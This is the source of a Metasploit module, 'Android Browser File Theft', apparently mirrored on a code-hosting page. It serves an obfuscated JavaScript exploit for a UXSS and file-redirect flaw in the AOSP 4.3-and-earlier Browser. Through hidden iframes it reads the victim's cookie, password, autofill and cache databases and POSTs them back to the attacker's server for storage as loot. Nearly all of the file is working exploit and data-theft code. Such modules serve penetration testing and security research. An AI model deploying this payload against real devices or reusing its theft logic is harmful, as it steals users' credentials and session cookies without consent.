Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_browser_file_theft.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::JSObfu
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Android Browser File Theft',
16
'Description' => %q{
17
This module steals the cookie, password, and autofill databases from the
18
Browser application on AOSP 4.3 and below.
19
},
20
'Author' => [
21
'Rafay Baloch', # Found UXSS bug in Android Browser
22
'joev' # File redirect and msf module
23
],
24
'License' => MSF_LICENSE,
25
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
26
'PassiveActions' => [ 'WebServer' ],
27
'References' => [
28
# patch for file redirection, 2014
29
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
30
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS
31
],
32
'DefaultAction' => 'WebServer',
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options([
42
OptString.new('ADDITIONAL_FILES', [
43
false,
44
'Comma-separated list of addition file URLs to steal.',
45
]),
46
OptBool.new('DEFAULT_FILES', [
47
true,
48
'Steals a default set of file URLs',
49
true
50
])
51
])
52
end
53
54
def run
55
exploit
56
end
57
58
def on_request_uri(cli, request)
59
if request.method.downcase == 'post'
60
process_post(cli, request)
61
send_response_html(cli, '')
62
else
63
print_status('Sending exploit landing page...')
64
send_response_html(cli, exploit_html)
65
end
66
end
67
68
def process_post(cli, request)
69
data = JSON.parse(request.body)
70
contents = hex2bin(data['data'])
71
file = File.basename(data['url'])
72
print_good("File received: #{(contents.bytesize.to_f / 1000).round(2)}kb #{file}")
73
loot_path = store_loot(
74
file,
75
'application/x-sqlite3',
76
cli.peerhost,
77
contents,
78
File.basename(data['url']),
79
"#{cli.peerhost.ljust(16)} Android browser file"
80
)
81
print_good("Saved to: #{loot_path}")
82
end
83
84
def file_urls
85
default_urls = [
86
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
87
'file:///data/data/com.android.browser/databases/webview.db',
88
'file:///data/data/com.android.browser/databases/autofill.db',
89
'file:///data/data/com.android.browser/databases/browser2.db',
90
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
91
'file:///data/data/com.android.browser/app_databases/Databases.db',
92
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
93
]
94
95
unless datastore['DEFAULT_FILES']
96
default_urls = []
97
end
98
99
default_urls + (datastore['ADDITIONAL_FILES'] || '').split(',')
100
end
101
102
def exploit_html
103
%Q|
104
<!doctype html>
105
<html>
106
<body>
107
<script>#{exploit_js}</script>
108
</body>
109
</html>
110
|
111
end
112
113
def exploit_js
114
js_obfuscate %Q|
115
window.onmessage = function(e) {
116
var x = new XMLHttpRequest;
117
x.open("POST", location.href);
118
x.send(JSON.stringify(e.data))
119
};
120
121
122
function xss() {
123
var urls = (#{JSON.generate(file_urls)});
124
function tick() {
125
setTimeout(function() { next(urls.shift()); });
126
};
127
window.onmessage = tick;
128
129
function next(url) {
130
if (!url) return;
131
try {
132
var f = document.createElement('iframe');
133
f.src = url;
134
f.onload = function() {
135
f.onload = null;
136
function nested() {
137
var x = new XMLHttpRequest;
138
x.open('GET', location.href);
139
x.responseType = 'arraybuffer';
140
x.send();
141
x.onload = function() {
142
var buff = new Uint8Array(x.response);
143
var hex = Array.prototype.map.call(buff, function(d) {
144
var c = d.toString(16);
145
return (c.length < 2) ? 0+c : c;
146
}).join(new String);
147
/*ensures there are no 'not allowed' responses that appear to be valid data*/
148
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>", "")}') === -1) {
149
top.postMessage({data:hex,url:location.href}, '*');
150
}
151
parent.postMessage(1,'*');
152
};
153
x.onerror = function() {
154
parent.postMessage(1,'*');
155
};
156
}
157
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
158
f.contentWindow.location = "";
159
};
160
document.body.appendChild(f);
161
} catch(e) {t();}
162
};
163
164
tick();
165
166
}
167
168
var brokenFrame = document.createElement('iframe');
169
brokenFrame.src = 'http://localhost:100';
170
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
171
brokenFrame.onload = function() {
172
brokenFrame.onload = null;
173
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
174
brokenFrame.contentWindow.location = "";
175
};
176
document.body.appendChild(brokenFrame);
177
|
178
end
179
180
# TODO: Make this a proper Rex::Text function
181
def hex2bin(hex)
182
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
183
end
184
end
185
186